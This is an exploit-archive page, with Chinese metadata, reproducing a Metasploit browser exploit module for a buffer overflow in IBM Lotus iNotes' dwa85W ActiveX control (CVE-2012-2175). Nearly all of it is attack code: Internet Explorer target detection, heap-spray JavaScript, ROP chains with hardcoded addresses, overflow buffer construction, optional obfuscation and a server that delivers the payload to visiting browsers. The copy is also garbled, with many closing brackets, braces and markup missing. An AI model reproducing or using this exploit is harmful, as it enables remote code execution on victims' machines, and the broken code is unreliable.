发布 2012-12-31 漏洞条目

IBM Lotus iNotes dwa85W – ActiveX Buffer Overflow (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:rank => Rank,

:classid => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",

:method => "Attachment_Times"

})

def initialize(info={})

super(update_info(info,

'Name' => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",

'Description' => %q{

This module exploits a buffer overflow vulnerability on the UploadControl

ActiveX. The vulnerability exists in the handling of the "Attachment_Times"

property, due to the insecure usage of the _swscanf. The affected ActiveX is

provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.

This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,

using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.

In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one

is installed with the iNotes ActiveX.

'License' => MSF_LICENSE,

'Author' =>

[

'Gaurav Baruah', # Vulnerability discovery

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2012-2175'],

[ 'OSVDB', '82755' ],

[ 'BID', '53879' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-132/' ],

[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]

'Payload' =>

{

'Space' => 978,

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

# dwa85W.dll 85.3.3.0

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll

[ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll

[ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ] # pop eax # ret # dwabho.dll

'Privileged' => false,

'DisclosureDate' => "Jun 01 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

# Land the payload at 0x0c0c0c0c

case my_target

when targets[7]

# IE 9 on Windows 7

js = %Q|

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_random_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{my_target['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

else

# For IE 6, 7, 8

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})

else

print_status("Using dwabho.dll ROP")

# gadgets from dwabho.dll, using mona.py

rop_payload = [

0x1000f765, # POP EAX # RETN

0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]

0x10010394, # JMP DWORD PTR DS:[EAX]

0x0c0c0c2c, # ret after VirtualAlloc

0x0c0c0c2c, # lpAddress

0x00000400, # dwSize

0x00001000, # flAllocationType

0x00000040 # flProtect

].pack("V*")

rop_payload << code

end

return rop_payload

end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

bof = rand_text_alpha(552) # offset to eip

bof << [my_target.ret].pack("V")

case my_target['Rop']

when :msvcrt

bof << rand_text_alpha(4)

bof << [0x0c0c0c0c].pack("V") # new ESP

when :notes

bof << rand_text_alpha(4)

bof << [0x0c0c0c00].pack("V") # eax

bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll

bof << [0x0c0c0c04].pack("V") # new ESP

end

my_bof = Rex::Text.to_unescape(bof)

html = %Q|

<html>

<head>

#{js}

</script>

</head>

<body>

</object>

var bof = unescape("#{my_bof}");

var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";

my_time += bof;

my_time += " GMT";

UploadControl.Attachment_Times = my_time;

</script>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2012-12-31
类别: remote
平台: windows

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